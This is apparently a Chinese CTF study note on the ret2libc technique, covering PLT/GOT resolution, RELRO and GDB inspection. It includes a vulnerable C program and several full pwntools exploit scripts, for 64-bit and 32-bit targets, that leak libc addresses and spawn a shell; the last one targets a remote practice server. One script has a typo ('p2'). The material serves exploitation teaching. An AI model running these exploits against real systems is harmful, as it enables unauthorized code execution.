pwn入门-ret2libc
write(1) read(0)
0是输入,1是输出,write和puts有区别
amd64:前6个参数依次存放于 rdi、rsi、rdx、rcx、r8、r9 寄存器中,第7个以后的参数存放于栈中
程序没有system怎么办?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #include <stdio.h> #include <stdlib.h> #include <unistd.h>
int dofunc(){ char b[8] = {}; write(1,"input:",6); read(0,b,0x100); write(1,"byebye",6); return 0; }
int main(){ dofunc(); return 0; }
|
ret2libc 即控制函数的执行libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。
libc 是Linux系统中C标准库(GNU C Library
)的一个实现,它为C程序提供了常见的函数库,如:(fopen
, fread
, fwrite
, fclose
)libc.so 是以共享库(.so
文件)形式提供的,可以被多个程序同时使用,从而减少内存占用并提高系统效率。
原理
- 栈溢出:程序存在栈溢出漏洞,攻击者可以覆盖栈上的返回地址。
- 重定向到 libc 函数:攻击者将返回地址重定向到
libc
中的 system()
函数。
- 传参:将
/bin/sh
字符串地址作为 system()
函数的参数。
- 执行 Shell:
system("/bin/sh")
被执行,攻击者获得 Shell 访问权限。
64位


按G


低地址到高地址:自己的代码->堆>别人写好的->栈
怎么知道基地址?
首先把wirte基地址-0x(EEF20),算出基地址,然后+system的地址确定system

怎么输出libc的函数地址?
模范程序找libc的函数地址去寻找


rip即下一条指令0x401036+0x2fe2 =0x404018
命令 x/20gx 0x404018
是 GDB 调试器中用于检查内存内容的指令,具体含义如下:
x
:这是 examine(检查)命令的缩写,用来查看内存中的数据。
/20g
:这部分指定了要显示的数据项的数量和格式。其中 20
表示要显示20个数据项,g
表示每个数据项是64位巨量(giant word),即8字节的数据。所以总共会显示20 * 8 = 160字节的数据。
x
:这里的 x
指定输出格式为十六进制(hexadecimal)。这意味着每个8字节的数据将被解释并以十六进制的形式显示。
0x404018
:这是你想要检查的起始内存地址。它是一个具体的内存位置,从这里开始读取数据。
因此,x/20gx 0x404018
的意思是:从内存地址 0x404018
开始,以十六进制格式显示接下来的20个8字节(64位)的数据值。这对于查看指针、长整数或其他占用8字节空间的数据类型非常有用,尤其是在调试涉及64位架构的程序时。

x/20x 也行
上面为什么不一样呢?
执行过一次write后,got表才有他的地址
GOT(Global Offset Table,全局偏移表)是动态链接和位置无关代码(Position Independent Code, PIC)中的一个重要概念,特别是在使用共享库(如.so文件在Linux系统中)时。GOT位于程序的.data段中,它包含了一系列地址,这些地址指向全局变量或外部函数。GOT的主要作用是在运行时解析符号引用,使得程序可以正确地调用外部函数或访问外部数据。
执行到wirte后,再以上述步骤去看就ok了

watch *0x404018,下内存断点
就是第一次plt跳got再跳回plt然后跳更改函数改got并重新执行去往真实函数,第二次plt跳got跳 真实函数
PLT(Procedure Linkage Table,过程链接表)是动态链接和位置无关代码(PIC)中的另一个关键概念,尤其在使用共享库时。PLT与GOT一起工作,用于支持函数调用的间接解析,尤其是在程序启动时无法确定外部函数地址的情况下。
PLT的工作原理
- 间接调用:当编译器生成代码时,它并不知道外部函数的实际地址。因此,对于每个需要调用的外部函数,编译器会在PLT中创建一个入口点,并让调用指令指向这个入口点,而不是直接指向函数本身。
- 首次调用解析:当某个外部函数第一次被调用时,控制权会传递给PLT对应的入口点。该入口点包含一段特殊的代码,这段代码会触发动态链接器来解析实际的函数地址,并将结果存储到GOT中相应的位置。这样,在后续的调用中就可以直接通过GOT访问正确的地址,而不再需要通过PLT进行解析。
第一次调用时
- 程序调用
printf@plt
,此时会跳转到 PLT
表中 printf
的入口。
- PLT 会查找
GOT
表中 printf
的地址(初始时是指向一个解析器)。
- 动态链接器
ld-linux.so
解析实际的 printf
地址并填充到 GOT
表中。
- 跳转到真正的
printf
函数地址。
后续调用时:PLT 会直接跳转到 GOT 表中存储的真实 printf
地址,无需再次解析。
PLT
- 作用:实现对动态链接库中函数的调用。
- 本质:是一个跳转表,用于将对外部函数的调用引导到实际地址。
GOT
- 作用:存储外部函数的实际地址。
- 本质:一个存储函数或全局变量地址的表。


也就是说一开始在0x401030这个位置,跳到0x404018存储的位置(0x401036)

除了got_plt还有其他的,每个xx函数的plt表项也对应着got表项

RELRO:-z norelro /-z lazy -Z nOW (关闭 /部分开启 / 完全开启) 对GOT表具有写权限
full是还没进wirte,got表就存好了,用full后这个got表是不能改的,而partial可以,无保护跟partial做题差不多

怎把GDT表项内容打印出来?
用之前用过的函数,比如read,write,main等

1 是 leak_func 的参数,代表标注输入(图里的0错了)
1
| write(1, leak_func_got, 6)
|
write(1) read(0)
0是输入,1是输出,write和puts有区别
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * context(log_level='debug',arch='amd64', os='linux') pwnfile= './question_5_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile)
padding = 0x10
gdb.attach(io)
ret_addr = elf.symbols['dofunc'] write_sym = elf.symbols['write'] leak_func_got = 0x404018
pop_rdi_ret = 0x4011fb pop_rsi_r15_ret = 0x4011f9 payload = b'a'* padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(leak_func_got) + p64(0xdeadbeef) payload += p64(write_sym)
delimiter = 'input:' io.sendlineafter(delimiter, payload) io.recv() io.interactive()
|
ROPgadget –binary question_5_x64 –only “pop|ret”
要rdi,rsi,rdx
正常点的程序没有pop rdx,但是可以利用已有的rdx(因为rdx等一些列寄存器再函数内被使用完推出后,不会清空)


其实这里做的就是利用输出函数泄露got表
怎么找到system和binsh地址?
利用偏移计算
添加以下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * context(log_level='debug',arch='amd64', os='linux') pwnfile= './question_5_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile)
padding = 0x10
gdb.attach(io)
ret_addr = elf.symbols['dofunc'] write_sym = elf.symbols['write'] leak_func_got = 0x404018
pop_rdi_ret = 0x4011fb pop_rsi_r15_ret = 0x4011f9 payload = b'a'* padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(leak_func_got) + p64(0xdeadbeef) payload += p64(write_sym)
delimiter = 'input:' io.sendlineafter(delimiter, payload)
io.recvuntil('byebye') write_addr = u64(io.recv().ljust(8,b'\x00')) print('write_addr:',hex(write_addr))
io.interactive()
|
这里要根据你自己的so文件(ubuntu导出的)来定制偏移

最终exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import * context(log_level='debug',arch='amd64', os='linux') pwnfile= './question_5_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile)
padding = 0x10
gdb.attach(io)
ret_addr = elf.symbols['dofunc'] write_sym = elf.symbols['write'] leak_func_got = 0x404018
pop_rdi_ret = 0x4011fb pop_rsi_r15_ret = 0x4011f9 payload = b'a'* padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(leak_func_got) + p64(0xdeadbeef) payload += p64(write_sym) + p64(ret_addr)
delimiter = 'input:' io.sendlineafter(delimiter, payload)
io.recvuntil('byebye') write_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('write_addr:',hex(write_addr))
write_offest = 0x114870 libc_base = write_addr - write_offest print('libc_base:',hex(libc_base))
system_offest = 0x50D70 system_addr = libc_base + system_offest print('system_addr:',hex(system_addr))
binsh_offest = 0x1D8678 binsh_addr = libc_base + binsh_offest print('binsh_addr:',hex(binsh_addr))
payload2 = b'a'* padding + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) io.sendlineafter(delimiter, payload2)
io.interactive()
|


使用工具版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * import duchao_pwn_script context(log_level='debug',arch='amd64', os='linux') pwnfile= './question_5_x64' io = process(pwnfile)
elf = ELF(pwnfile) rop = ROP(pwnfile)
padding = 0x10 leak_func_name ='write' leak_func_got = elf.got[leak_func_name] return_addr = elf.symbols['dofunc'] write_sym = elf.symbols['write'] pop_rdi_ret = 0x4011fb pop_rsi_r15_ret = 0x4011f9 payload = b'a'* padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(leak_func_got) + p64(0xdeadbeef) payload += p64(write_sym) + p64(return_addr)
delimiter = 'input:' io.sendlineafter(delimiter, payload)
io.recvuntil('byebye') write_addr = u64(io.recv(6).ljust(8,b'\x00')) print('write_addr:',hex(write_addr))
system_addr, bin_sh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, write_addr) print(hex(system_addr)) print(hex(bin_sh_addr))
payload2 = b'a'* padding + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) delimiter = 'input:' io.sendlineafter(delimiter, payload2) pause() io.interactive()
|
32位
跟64位差不多,区别在于32位用不到寄存器传参
32位和64位got表项的位置是不变的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * from LibcSearcher import LibcSearcher
context(log_level='debug', arch='i386', os='linux')
pwnfile = './question_5_x86' io = process(pwnfile)
elf = ELF(pwnfile) rop = ROP(pwnfile)
padding = 0x14 leak_func_name = 'write' leak_func_got = elf.got[leak_func_name] return_addr = elf.symbols['dofunc'] write_sym = elf.symbols['write']
payload = flat([ b'a' * padding, write_sym, return_addr, 1, leak_func_got, 4 ])
delimiter = 'input:' io.sendlineafter(delimiter, payload)
io.recvuntil('byebye') write_addr = u32(io.recv(4)) print('write_addr:', hex(write_addr))
libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') print('libc_base:', hex(libc_base))
system_offset = libc.dump('system') system_addr = libc_base + system_offset print('system_addr:', hex(system_addr))
bin_sh_offset = libc.dump('str_bin_sh') bin_sh_addr = libc_base + bin_sh_offset print('bin_sh_addr:', hex(bin_sh_addr))
payload2 = flat([ b'a' * padding, system_addr, 0xdeadbeef, bin_sh_addr ])
io.sendlineafter(delimiter, payload2) io.interactive()
|
需要libcsearch去找,因为远程的libc不一定是本地的libc
libcsearch database:

libc 2.27以下的已经很少用了
因为我的libc版本太高了,本地和云端版本的Libcsearcher都试了,都找不到,用libc-database能找到,所以直接用本地版了
libc-database
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from pwn import * context(log_level='debug',arch='i386', os='linux') pwnfile= './question_5_x86' io = process(pwnfile)
elf = ELF(pwnfile) rop = ROP(pwnfile) libc_file_path = '/lib/i386-linux-gnu/libc.so.6' libc = ELF(libc_file_path)
padding = 0x14 leak_func_name = 'write' leak_func_got = elf.got[leak_func_name]
return_addr = elf.symbols['dofunc'] write_sym = elf.symbols['write']
payload = flat([b'a'* padding , write_sym , return_addr , 1 , leak_func_got , 4 ]) delimiter = 'input:' io.sendlineafter(delimiter, payload)
io.recvuntil('byebye') write_addr = u32(io.recv(4)) print('write_addr:',hex(write_addr))
wirte_offset = libc.symbols[leak_func_name] libc_addr = write_addr - wirte_offset print('libc_addr:',hex(libc_addr))
system_offset = libc.symbols['system'] system_addr = libc_addr + system_offset print('system_addr:',hex(system_addr))
bin_sh_offset = next(libc.search(b'/bin/sh')) bin_sh_addr = libc_addr + bin_sh_offset print('bin_sh_addr:',hex(bin_sh_addr))
payload2 = flat([b'a'* padding , system_addr , 0xdeadbeef , bin_sh_addr ]) delimiter = 'input:' io.sendlineafter(delimiter, payload2) io.interactive()
|
不用flat版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * context(log_level='debug',arch='i386', os='linux') pwnfile= './question_5_x86' io = process(pwnfile)
elf = ELF(pwnfile) rop = ROP(pwnfile) libc_file_path = '/lib/i386-linux-gnu/libc.so.6' libc = ELF(libc_file_path)
padding = 0x14 leak_func_name = 'write' leak_func_got = elf.got[leak_func_name]
return_addr = elf.symbols['dofunc'] write_sym = elf.symbols['write']
payload = b'a'* padding + p32(write_sym) + p32(return_addr) + p32(1) + p2(leak_func_got) + p32(4)
delimiter = 'input:' io.sendlineafter(delimiter, payload)
io.recvuntil('byebye') write_addr = u32(io.recv(4)) print('write_addr:',hex(write_addr))
wirte_offset = libc.symbols[leak_func_name] libc_addr = write_addr - wirte_offset print('libc_addr:',hex(libc_addr))
system_offset = libc.symbols['system'] system_addr = libc_addr + system_offset print('system_addr:',hex(system_addr))
bin_sh_offset = next(libc.search(b'/bin/sh')) bin_sh_addr = libc_addr + bin_sh_offset print('bin_sh_addr:',hex(bin_sh_addr))
payload2 = flat([b'a'* padding , system_addr , 0xdeadbeef , bin_sh_addr ]) delimiter = 'input:' io.sendlineafter(delimiter, payload2) io.interactive()
|
flat
会自动识别每个参数的类型,并将它们转换为正确的二进制格式(例如,整数自动转换为小端序)。
例题
星盟视频里的例题

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * file_path='./level1' context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h']) glibc_version="2.23" _debug_=1
elf = ELF(file_path)
if _debug_: pwn_file="/glibc/%s/32/lib/ld-%s.so --library-path /glibc/%s/32/lib/ %s"%(glibc_version,glibc_version,glibc_version,file_path) p = process(pwn_file.split()) libc = ELF('/glibc/%s/32/lib/libc-%s.so'%(glibc_version,glibc_version)) else: p = remote('node3.buuoj.cn',28124) libc = ELF('../libc/u16/x86libc-2.23.so')
su = lambda desp,value:success(desp+' => '+(hex(value) if type(value)==int else str(value))) ru = lambda delim :p.recvuntil(delim) rv = lambda count=1024,timeout=0:p.recv(count,timeout) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) ss = lambda data :p.send(data) ssa = lambda delim,data :p.sendafter(delim, data) u64leak=lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0')) u64leak2=lambda :u64(p.recv(6).ljust(8,b'\0'))
write_plt = elf.plt['write'] read_got = elf.got['read']
main_addr = 0x080484B7
payload = b'A'*0x88+b'B'*0x4+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
p.sendafter("?",payload) p.recvuntil('\n') read_addr = u32(p.recv(4)) log.success("read_addr:{}".format(hex(read_addr))) libc_base = read_addr - libc.symbols['read'] system = libc_base+libc.symbols['system'] binsh = libc_base + next(libc.search(b'/bin/sh'))
log.success("libc_base:{}".format(hex(libc_base))) log.success("system:{}".format(hex(system))) log.success("binsh:{}".format(hex(binsh)))
payload2 = b'A'*0x88+b'B'*0x4+p32(system)+p32(main_addr)+p32(binsh)
p.send(payload2) p.interactive()
|